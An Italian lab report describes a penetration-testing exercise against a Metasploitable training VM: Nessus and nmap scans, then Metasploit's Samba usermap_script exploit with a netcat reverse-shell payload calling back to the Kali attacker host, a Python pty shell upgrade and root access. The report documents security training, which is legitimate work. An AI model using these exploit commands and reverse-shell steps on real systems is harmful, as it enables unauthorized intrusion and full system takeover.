

# Exploit Metasploitable con Metasploit



| Titolo del Documento: | Report Attività di Laboratorio: Giorno 4 |

| Asset Sotto Analisi: | Macchina Virtuale Metasploitable |

| Indirizzo IP Target: | 192.168.50.150 |

| Indirizzo IP Attaccante: | 192.168.50.100 (Kali Linux) |

| Data dell'Attività: | 04 Settembre 2025 |

| Analisti: | [Landa Tracker S.P.A.] |

| Stato: | Completato |

## Traccia Giorno 4:

Sulla macchina Metasploitable ci sono diversi servizi in ascolto potenzialmente vulnerabili. È richiesto allo studente di:

- Effettuare un Vulnerability Scanning (basic scan) con Nessus sulla macchina Metasploitable.
- Sfruttare la vulnerabilità del servizio attivo sulla porta 445 TCP utilizzando MSFConsole (vedere suggerimento).
- Eseguire il comando «ifconfig» una volta ottenuta la sessione per verificare l'indirizzo di rete della macchina vittima.

## Requisiti laboratorio Giorno 4:

IP Kali Linux: 192.168.50.100

IP Metasploitable: 192.168.50.150 Listen port

(nelle opzioni del payload): 5555

## Suggerimento:

Utilizzate l'exploit al path exploit/multi/samba/usermap\_script (fate prima una ricerca con la keyword search)

## Configurazione della rete su Metasploitable



Nel primo step ho configurato manualmente la rete sulla macchina Metasploitable, modificando il file `/etc/network/interfaces` tramite l'editor nano. Questo mi ha permesso di assegnare un indirizzo IP statico alla macchina vulnerabile, così da garantire la comunicazione con la mia macchina Kali Linux.

```
metasploitable2 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
GNU nano 2.0.7  File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.50.150
netmask 255.255.255.0
gateway 192.168.50.1

[ Wrote 13 lines ]
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart_
```

### Dettagli della configurazione

- **Indirizzo IP assegnato:** 192.168.50.150
- **Subnet mask:** 255.255.255.0 → rete /24
- **Gateway:** 192.168.50.1 → uscita verso la rete esterna

### servizio di rete

Dopo aver salvato il file, ho eseguito il comando:

- `sudo /etc/init.d/networking restart`

Questo ha applicato immediatamente la nuova configurazione, rendendo la macchina Metasploitable raggiungibile sulla rete locale.

```
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
[sudo] password for msfadmin:
* Reconfiguring network interfaces... [ OK ]
msfadmin@metasploitable:~$
```

## Configurazione IP statica su Kali Linux

Per garantire una comunicazione stabile tra Kali Linux e Metasploitable, ho configurato manualmente un indirizzo IP statico sulla mia macchina Kali. Questo è stato fatto tramite l'interfaccia grafica di rete, nella sezione "**IPv4 Settings**" della connessione denominata statica.




Address	Netmask	Gateway
192.168.50.100	24	192.168.50.1

## Parametri configurati

- **Metodo:** Manuale
- **Indirizzo IP:** 192.168.50.100
- **Netmask:** 24 (equivalente a 255.255.255.0)
- **Gateway:** 192.168.50.1
- **DNS Server:** 8.8.8.8

## Scansione Vulnerabilità con Nessus

Ho avviato **Nessus Essentials** sulla mia macchina Kali Linux (192.168.50.100) e ho creato una nuova scansione chiamata **traccia4**, puntando all'host Metasploitable (192.168.50.150). Ho scelto il profilo **Basic Network Scan**, ideale per identificare vulnerabilità comuni.



Name:

Description:

Folder:

Targets:

Dopo l'esecuzione, il report ha mostrato che la macchina Metasploitable è affetta da numerose vulnerabilità:

- **9 Critiche**
- **5 Alte**
- **22 Medie**
- **126 Informative**

<input type="checkbox"/> Host	Auth	Vulnerabilities ▲				
<input type="checkbox"/> 192.168.50.150	Fail	9	5	22	8	126

Tra queste, ho individuato una vulnerabilità **Samba** sulla porta **445/TCP**, classificata come **Badlock Vulnerability**. Questa falla consente a un attaccante di intercettare e manipolare il traffico RPC, potenzialmente eseguendo comandi amministrativi.



**Vulnerabilities** 62

**HIGH** Samba Badlock Vulnerability

**Description**

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

**Solution**

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

**See Also**

<http://badlock.org>  
<https://www.samba.org/samba/security/CVE-2016-2118.html>

**Output**

```
Nessus detected that the Samba Badlock patch has not been applied.
```

To see debug logs, please visit individual host

Port ▲	Hosts
445 / tcp / cifs	192.168.50.150

## Verifica del servizio vulnerabile con Nmap

Prima di procedere con l'exploit, ho voluto confermare manualmente la presenza del servizio Samba sulla macchina Metasploitable (192.168.50.150). Ho utilizzato **Nmap**, uno strumento fondamentale per la ricognizione e l'identificazione dei servizi attivi su un host. Il comando che ho eseguito è:

- `nmap -sV -p 445 192.168.50.150`

Il risultato ha confermato che la porta 445 è **aperta** e che il servizio attivo è:

- `445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)`



```
(kali@kali)~$ nmap -sV -p 445 192.168.50.150
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 10:28 BST
Nmap scan report for 192.168.50.150
Host is up (0.00070s latency).

PORT      STATE SERVICE      VERSION
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: AA:E4:EE:0C:F2:18 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/s
ubmit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.41 seconds
```

Questa informazione è cruciale, perché indica che la macchina è vulnerabile a diversi exploit noti per Samba, tra cui quello che ho scelto successivamente. Il fatto che la **versione** sia compresa **tra 3.X e 4.X** è compatibile con il modulo **usermap\_script**, che sfrutta una vulnerabilità presente in **Samba 3.x**.

## Ricerca dell'exploit con MSFConsole

Dopo aver confermato la presenza del servizio Samba, ho avviato **MSFConsole**, l'interfaccia interattiva del framework Metasploit. Il mio obiettivo era trovare un modulo di exploit compatibile con la versione di Samba rilevata. Ho eseguito il comando:

- search samba

ho identificato il modulo:

- exploit/multi/samba/usermap\_script

```
msf6 > search exploit/multi/samba/usermap_script
Matching Modules
-----
#  Name                                     Disclosure Date  Rank      Check  Descripti
-  -
--
0  exploit/multi/samba/usermap_script       2007-05-14      excellent No      Samba "us
ername map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/mult
i/samba/usermap_script
```

Questo modulo è classificato con **Rank: excellent**, il che indica un'elevata affidabilità e probabilità di successo. La vulnerabilità sfruttata riguarda la gestione degli script di

mappatura utente (username map script) in Samba, che consente l'esecuzione di comandi arbitrari sul sistema remoto.



Per selezionare il modulo, ho usato:

- use 0

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > 
```

Metasploit ha automaticamente associato il payload:

- cmd/unix/reverse\_netcat

Questo payload è semplice ma efficace: apre una **reverse shell** sulla macchina vittima, collegandosi alla mia macchina Kali Linux.

## Configurazione dell'exploit

Una volta selezionato il modulo, ho visualizzato le opzioni disponibili con:

- show options

```
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      192.168.50.100  no        The local client address
  CPORT      1000             no        The local client port
  Proxies     []              no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
  RHOSTS     []              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST      192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```



Questo comando mostra sia le opzioni del modulo di exploit che quelle del payload. Ho quindi configurato i parametri richiesti:

- set LHOST 192.168.50.100
- set RHOSTS 192.168.50.150
- set LPORT 5555

```
msf6 exploit(multi/samba/usermap_script) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.50.150
RHOSTS => 192.168.50.150
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
```

Questa configurazione è fondamentale per stabilire una comunicazione corretta tra le due macchine. Una volta impostati tutti i parametri, ho eseguito il comando:

- run

Con questo, ho avviato l'exploit e atteso la creazione della sessione.

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.50.100:5555
[*] Command shell session 2 opened (192.168.50.100:5555 -> 192.168.50.150:58413) at 2025-09-01 10:32:12 +0100
```

## Upgrade della shell: da semplice accesso a pieno controllo

Dopo aver ottenuto una reverse shell sulla macchina Metasploitable, mi sono ritrovato con un'interfaccia testuale **molto limitata**: niente completamento dei comandi, impossibilità di usare scorciatoie da tastiera come Ctrl+C, e output spesso poco leggibile. Per superare queste limitazioni e ottenere una **shell più interattiva**, ho eseguito il seguente comando:

- python -c 'import pty; pty.spawn("/bin/bash")'

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/#
```

Questo comando sfrutta il modulo **pty** di Python per creare uno **pseudo-terminal**, simulando un ambiente più simile a quello di una **vera console**. Il risultato è stato immediato: il prompt è cambiato in:

- root@metasploitable:/#

Questo non solo ha migliorato l'usabilità della shell, ma ha anche confermato che l'accesso ottenuto è con privilegi **root**, ovvero il massimo livello di autorizzazione sul sistema. A questo punto, avevo pieno controllo sulla macchina vittima: potevo leggere, scrivere, modificare file, gestire servizi e utenti, e persino installare software. Un passaggio cruciale per chiunque voglia dimostrare la gravità di una vulnerabilità sfruttata con successo.





## Verifica della macchina compromessa: analisi della rete



Per confermare l'identità e la configurazione della macchina compromessa, ho eseguito il comando:

- `ifconfig`

Questo mi ha restituito informazioni dettagliate sulle interfacce di rete attive. I dati principali sono:

```
root@metasploitable:~# ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr aa:e4:ee:0c:f2:18
          inet addr:192.168.50.150  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fd1a:103a:a0f7:e9bf:a8e4:eeff:fe0c:f218/64 Scope:Global
          inet6 addr: fe80::a8e4:eeff:fe0c:f218/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:405325 errors:0 dropped:0 overruns:0 frame:0
          TX packets:311239 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:43734573 (41.7 MB)  TX bytes:21812958 (20.8 MB)
          Base address:0xc000 Memory:febc0000-febe0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:20355 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20355 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9734429 (9.2 MB)  TX bytes:9734429 (9.2 MB)
```

Queste informazioni mi hanno permesso di:

- Verificare che la macchina compromessa è effettivamente **Metasploitable**, connessa alla rete interna.
- Identificare l'indirizzo IP assegnato (**192.168.50.150**), utile per ulteriori operazioni come scansioni interne o pivoting.
- Confermare che l'interfaccia **eth0** è **attiva e funzionante**, con traffico significativo in entrata e uscita.

Questa fase è fondamentale per contestualizzare l'attacco e raccogliere prove tecniche utili in fase di analisi post-exploit.

## Conclusioni

L'esercizio ha dimostrato con successo l'intero ciclo di un attacco mirato su una macchina vulnerabile, dalla fase di ricognizione fino all'ottenimento di privilegi root. Dopo aver effettuato una scansione con **Nessus**, è stato possibile identificare diversi servizi esposti sulla macchina Metasploitable, tra cui **Samba sulla porta TCP 445**, noto per vulnerabilità storiche.

Utilizzando **Metasploit Framework**, ho selezionato e configurato l'exploit `exploit/multi/samba/usermap_script`, che ha permesso di ottenere una **reverse shell** sulla macchina vittima. Successivamente, ho eseguito un upgrade della shell tramite

Python per ottenere un ambiente interattivo e stabile, confermando l'accesso come **utente root**.



La verifica con il comando `ifconfig` ha confermato l'identità della macchina compromessa e ha fornito dettagli sulla sua configurazione di rete, utile per eventuali movimenti laterali o raccolta di ulteriori informazioni.

Questo esercizio evidenzia quanto sia critico mantenere aggiornati i servizi esposti in rete e limitare l'accesso ai protocolli vulnerabili. Samba, in particolare, è spesso trascurato nei contesti legacy, ma può rappresentare un punto d'ingresso devastante se non correttamente gestito.